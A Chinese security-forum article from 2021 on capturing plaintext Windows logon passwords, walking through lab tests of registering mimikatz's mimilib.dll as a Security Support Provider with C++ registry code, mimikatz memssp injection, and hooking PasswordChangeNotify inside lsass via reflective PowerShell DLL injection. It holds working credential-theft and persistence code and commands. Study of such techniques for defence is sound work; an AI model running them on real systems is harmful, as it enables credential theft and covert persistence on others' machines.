问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
关于抓取明文密码的探究
# 基础知识 SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate...
基础知识 ==== SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。 SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。 在微软官方中对于`Security Support Provider`的解释如下所示 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2a05f8d4b8e4d88dd150d78edcde11f90bdb9688.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2a05f8d4b8e4d88dd150d78edcde11f90bdb9688.png) SSP === 我们知道`lsass.exe`和`winlogin.exe`进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到`lsass.exe`进程中,那么就衍生出了两种思路: 第一种思路就是删除一个任意的SSP DLL以便于与lsass进程进行交互,第二种思路则是直接伪造一个SSP的dll来提取用户登录时的明文密码 我们首先尝试对注册表进行修改,这里对应需要修改的注册表为`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`,在mimikatz里面根据不同的系统位数提供了对应的dll,这里我们直接修改注册表里面的值即可 首先我们尝试一下任意位置直接加载dll,写一个修改注册表的代码,主要是使用`RegOpenKeyW`、`RegSetValueExW`这两个api来实现 ```c++ DWORD InjectSSP(LPWSTR filepath) { HKEY hKey; LPCWSTR KeyName; LPCWSTR ValueName; DWORD dwDisposition; KeyName = L"SYSTEM\\CurrentControlSet\\Control\\Lsa"; if (ERROR_SUCCESS != ::RegOpenKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) { printf("[!] The key is not found,the registry entry creation operation is performed\n\n"); if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) { printf("[!] Create regedit failed, error is:%d\n\n", GetLastError()); return FALSE; } else { printf("[*] Create regedit successfully!\n\n"); } } else { printf("[*] Find the key successfully!\n\n"); if (ERROR_SUCCESS != ::RegSetValueExW(hKey, L"Security Packages", 0, REG_MULTI_SZ, (BYTE*)filepath, (::lstrlenW(filepath) + ::lstrlenW(filepath)))) { printf("[!] Create key-value failed, error is:%d\n\n", GetLastError()); return FALSE; } else { printf("[*] Create key-value successfully!\n\n"); } } } ``` 这里我把mimilib.dll放到C盘根目录下 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9d83a1baa6692eb95e87edc5aeca2e9926914848.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9d83a1baa6692eb95e87edc5aeca2e9926914848.png) 注意一下这里需要用管理员权限启动否则会添加失败 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6682c02770c505166cbf1e533617a44b505a0017.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6682c02770c505166cbf1e533617a44b505a0017.png) 可以看到这里我们已经修改成功 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e561c1edd04612fafa70d85514541bb0a5c57aad.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e561c1edd04612fafa70d85514541bb0a5c57aad.png) 这里新建一个test用户来进行测试 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ad90b86bab01441165ea321395d9bab4a9a7ade9.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ad90b86bab01441165ea321395d9bab4a9a7ade9.png) 当用户再次通过系统进行身份验证时,将创建一个名为 `kiwissp` 的新文件,该文件将记录帐户的凭据。默认情况下在以下路径 ```c++ C:\Windows\System32\kiwissp.log ``` 但是这里没有成功,可能是路径的问题 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b5a9b3f2db4a4a24a2f11a08dea15d0407e2a8ec.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b5a9b3f2db4a4a24a2f11a08dea15d0407e2a8ec.png) 这里把mimilib.dll放到`C:\Windows\System32`文件目录下 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b1e6018df231468cb6bcf007102e64f328e0e846.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b1e6018df231468cb6bcf007102e64f328e0e846.png) 修改注册表为mimilib.dll [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1908531ab65fb3ac18d436098bc5d35e0ba2b60e.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1908531ab65fb3ac18d436098bc5d35e0ba2b60e.png) 在重新登录用户之后,就能够在System32目录下找到`kiwissp.txt`的明文文件 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fda61e7de3838fc662a53ec86f308d91f8fe6e62.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fda61e7de3838fc662a53ec86f308d91f8fe6e62.png) 因为是登录就加载,所以如果想要删除只能清除注册表之后进行删除 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-137b849b4cb682e3e3561a2d126f6e89eb579440.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-137b849b4cb682e3e3561a2d126f6e89eb579440.png) 另外mimikatz提供了一种更方便的方法,直接使用`misc::memssp`命令来直接注入,但是有一个缺点就是在重新启动之后不会持续存在 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6747e959245c7e048b3d1ef6c81ebb07c15301a3.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6747e959245c7e048b3d1ef6c81ebb07c15301a3.png) 当用户再次通过系统进行身份验证时,会在`C:\Windows\System32\mimilsa.log`里面记录下明文密码 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-95f77e37989b43a11c9fdbc3ca095d4c52fe9f73.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-95f77e37989b43a11c9fdbc3ca095d4c52fe9f73.png) Hook PasswordChangeNotify ========================= 在上面的两种方法里面,都有或多或少的优缺点,在第一种方法中需要放置dll到system32目录下且需要修改注册表,但重启之后仍然有效,第二种方法虽然不需要直接修改注册表和放置dll,但是重启之后就会失效,而且使用mimikatz也需要考虑对抗杀软的问题。在这里有一种更方便且更隐蔽的方法就是hook PasswordChangeNotify这个api。 在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码经行传参,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1728ea6f7109bdac688055dc15d1d89f579330f7.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1728ea6f7109bdac688055dc15d1d89f579330f7.png) 还需要了解的相关背景知识如下: 1. 函数PasswordChangeNotify存在于rassfm.dll 2. rassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在 我们知道了在LSA调用PasswordChangeNotify的过程中密码是以明文的形式传输的,这里我们就可以通过Inline Hook的方式使用jmp跳转到我们自己的处理函数中,读取密码之后再还原到原地址继续传参。 这里已经有前辈写好了Inline Hook的代码:<https://github.com/clymb3r/Misc-Windows-Hacking/blob/master/HookPasswordChange/HookPasswordChange/HookPasswordChange.cpp> 我们简单的分析一下写的代码,首先创建一个vector容器,修改硬编码指向PasswordChangeNotifyHook函数的地址 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5773cc0639a0ac912ce6208aa2f6bc43de5dad31.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5773cc0639a0ac912ce6208aa2f6bc43de5dad31.png) 首先保留rbx、rbp、rsi三个寄存器的值到堆栈里面,然后将字节码写入内存并还原被覆盖的指令,再跳转回原函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6e28b044c564300b882ee7b4d199e4d57f71af38.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6e28b044c564300b882ee7b4d199e4d57f71af38.png) 然后再看下读取密码的这个函数,如果获取到密码,则在`C:\windows\temp`目录下创建一个`passwords.txt`来储存密码 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-769aed81c45ed211480c68aec703a6a4a549ece8.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-769aed81c45ed211480c68aec703a6a4a549ece8.png) 这里使用session0注入来将dll注入lsass.exe,使用到`ZwCreateThread`这个内核函数,因为用一般的注入方式是不能够往系统进程中注入dll的。这里可以看到已经将我们的这个dll注入了lsass.exe进程 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2752ffcd6aa78d44b944ad527a1f7afb57fb2df6.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2752ffcd6aa78d44b944ad527a1f7afb57fb2df6.png) 这里去更改一下密码 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c97fc7dffb25d25227267f5267a053fd61304be2.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c97fc7dffb25d25227267f5267a053fd61304be2.png) 这里进行Inline hook之后应该是会把在传输中的明文密码保存到`password.txt`文件里面的,但是这里在目录下却没有找到,删除dll的时候也显示已经被打开,即已经注入到了进程空间里面,这里去搜索引擎里面看了一下,师傅们基本上都是使用的ps反射加载的方法来把dll注入到进程空间里面,而使用直接加载dll的师傅都没有成功抓取密码,这里研究半天也没搞出个所以然来,还是才疏学浅了。 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2afc161eecc46d5b548178e1c0e7f5faebe8e86a.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2afc161eecc46d5b548178e1c0e7f5faebe8e86a.png) 那么这里我们再使用反射加载的方式进行尝试,利用Powershell tricks中的Process Injection将dll注入到lsass进程,项目地址如下 > <https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1> 这里首先更改powershell的执行策略为可加载脚本,再执行命令 ```powershell Set-ExecutionPolicy bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4bf62d41ba4dd598dcb9be0d8b9ef0bd8b761cb5.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4bf62d41ba4dd598dcb9be0d8b9ef0bd8b761cb5.png) 修改密码过后即可在目录下看到抓取的明文密码 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-63c3eef9b8ef3252e08e4207782e166e2a75b245.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-63c3eef9b8ef3252e08e4207782e166e2a75b245.png) 参考 == <https://www.anquanke.com/post/id/255226>
发表于 2021-12-07 10:09:50
阅读 ( 7317 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!